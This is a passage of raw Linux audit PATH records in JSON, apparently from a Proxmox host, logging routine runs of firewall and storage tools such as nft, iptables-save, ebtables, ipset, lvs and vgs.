item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=PATH msg=audit(1781964645.133:61921): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644342,"@rawstring":"node=pve type=PATH msg=audit(1781964644.342:61920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644342,"@rawstring":"node=pve type=PATH msg=audit(1781964644.342:61920): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644302,"@rawstring":"node=pve type=PATH msg=audit(1781964644.302:61919): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964644302,"@rawstring":"node=pve type=PATH msg=audit(1781964644.302:61919): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PATH msg=audit(1781964640.123:61918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PATH msg=audit(1781964640.123:61918): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PATH msg=audit(1781964640.123:61917): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=PATH msg=audit(1781964640.123:61916): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PATH msg=audit(1781964640.116:61915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PATH msg=audit(1781964640.116:61915): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PATH msg=audit(1781964640.116:61914): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=PATH msg=audit(1781964640.116:61913): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PATH msg=audit(1781964639.838:61912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PATH msg=audit(1781964639.838:61912): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PATH msg=audit(1781964639.838:61911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=PATH msg=audit(1781964639.838:61911): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639836,"@rawstring":"node=pve type=PATH msg=audit(1781964639.836:61910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964639836,"@rawstring":"node=pve type=PATH msg=audit(1781964639.836:61910): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635762,"@rawstring":"node=pve type=PATH msg=audit(1781964635.762:61909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635762,"@rawstring":"node=pve type=PATH msg=audit(1781964635.762:61909): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635758,"@rawstring":"node=pve type=PATH msg=audit(1781964635.758:61908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635758,"@rawstring":"node=pve type=PATH msg=audit(1781964635.758:61908): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=PATH msg=audit(1781964635.757:61907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=PATH msg=audit(1781964635.757:61907): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=PATH msg=audit(1781964635.757:61906): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635753,"@rawstring":"node=pve type=PATH msg=audit(1781964635.753:61905): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635753,"@rawstring":"node=pve type=PATH msg=audit(1781964635.753:61905): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635753,"@rawstring":"node=pve type=PATH msg=audit(1781964635.753:61905): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635747,"@rawstring":"node=pve type=PATH msg=audit(1781964635.747:61904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635747,"@rawstring":"node=pve type=PATH msg=audit(1781964635.747:61904): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635741,"@rawstring":"node=pve type=PATH msg=audit(1781964635.741:61903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635741,"@rawstring":"node=pve type=PATH msg=audit(1781964635.741:61903): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635734,"@rawstring":"node=pve type=PATH msg=audit(1781964635.734:61902): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635734,"@rawstring":"node=pve type=PATH msg=audit(1781964635.734:61902): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635728,"@rawstring":"node=pve type=PATH msg=audit(1781964635.728:61901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635728,"@rawstring":"node=pve type=PATH msg=audit(1781964635.728:61901): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635723,"@rawstring":"node=pve type=PATH msg=audit(1781964635.723:61899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635723,"@rawstring":"node=pve type=PATH msg=audit(1781964635.723:61899): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635717,"@rawstring":"node=pve type=PATH msg=audit(1781964635.717:61898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635717,"@rawstring":"node=pve type=PATH msg=audit(1781964635.717:61898): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635712,"@rawstring":"node=pve type=PATH msg=audit(1781964635.712:61897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635712,"@rawstring":"node=pve type=PATH msg=audit(1781964635.712:61897): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635707,"@rawstring":"node=pve type=PATH msg=audit(1781964635.707:61896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635707,"@rawstring":"node=pve type=PATH msg=audit(1781964635.707:61896): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635701,"@rawstring":"node=pve type=PATH msg=audit(1781964635.701:61895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635701,"@rawstring":"node=pve type=PATH msg=audit(1781964635.701:61895): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635697,"@rawstring":"node=pve type=PATH msg=audit(1781964635.697:61894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635697,"@rawstring":"node=pve type=PATH msg=audit(1781964635.697:61894): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635690,"@rawstring":"node=pve type=PATH msg=audit(1781964635.690:61893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635690,"@rawstring":"node=pve type=PATH msg=audit(1781964635.690:61893): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635684,"@rawstring":"node=pve type=PATH msg=audit(1781964635.684:61892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635684,"@rawstring":"node=pve type=PATH msg=audit(1781964635.684:61892): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635681,"@rawstring":"node=pve type=PATH msg=audit(1781964635.681:61891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635681,"@rawstring":"node=pve type=PATH msg=audit(1781964635.681:61891): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635678,"@rawstring":"node=pve type=PATH msg=audit(1781964635.678:61890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635678,"@rawstring":"node=pve type=PATH msg=audit(1781964635.678:61890): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=PATH msg=audit(1781964635.676:61889): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=PATH msg=audit(1781964635.676:61889): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=PATH msg=audit(1781964635.676:61888): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635672,"@rawstring":"node=pve type=PATH msg=audit(1781964635.672:61887): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635672,"@rawstring":"node=pve type=PATH msg=audit(1781964635.672:61887): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635672,"@rawstring":"node=pve type=PATH msg=audit(1781964635.672:61887): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635665,"@rawstring":"node=pve type=PATH msg=audit(1781964635.665:61886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635665,"@rawstring":"node=pve type=PATH msg=audit(1781964635.665:61886): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635659,"@rawstring":"node=pve type=PATH msg=audit(1781964635.659:61885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635659,"@rawstring":"node=pve type=PATH msg=audit(1781964635.659:61885): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635653,"@rawstring":"node=pve type=PATH msg=audit(1781964635.653:61884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635653,"@rawstring":"node=pve type=PATH msg=audit(1781964635.653:61884): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635645,"@rawstring":"node=pve type=PATH msg=audit(1781964635.645:61883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635645,"@rawstring":"node=pve type=PATH msg=audit(1781964635.645:61883): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635637,"@rawstring":"node=pve type=PATH msg=audit(1781964635.637:61882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635637,"@rawstring":"node=pve type=PATH msg=audit(1781964635.637:61882): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PATH msg=audit(1781964635.105:61881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PATH msg=audit(1781964635.105:61881): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PATH msg=audit(1781964635.105:61880): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=PATH msg=audit(1781964635.105:61879): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PATH msg=audit(1781964635.097:61878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PATH msg=audit(1781964635.097:61878): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PATH msg=audit(1781964635.097:61877): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964635097,"@rawstring":"node=pve type=PATH msg=audit(1781964635.097:61876): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634226,"@rawstring":"node=pve type=PATH msg=audit(1781964634.226:61875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634226,"@rawstring":"node=pve type=PATH msg=audit(1781964634.226:61875): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634184,"@rawstring":"node=pve type=PATH msg=audit(1781964634.184:61874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634184,"@rawstring":"node=pve type=PATH msg=audit(1781964634.184:61874): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630090,"@rawstring":"node=pve type=PATH msg=audit(1781964630.090:61873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630090,"@rawstring":"node=pve type=PATH msg=audit(1781964630.090:61873): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=PATH msg=audit(1781964630.089:61872): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=PATH msg=audit(1781964630.089:61871): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PATH msg=audit(1781964630.083:61870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PATH msg=audit(1781964630.083:61870): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PATH msg=audit(1781964630.083:61869): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PATH msg=audit(1781964630.083:61868): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625625,"@rawstring":"node=pve type=PATH msg=audit(1781964625.625:61867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625625,"@rawstring":"node=pve type=PATH msg=audit(1781964625.625:61867): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PATH msg=audit(1781964625.622:61866): item=1 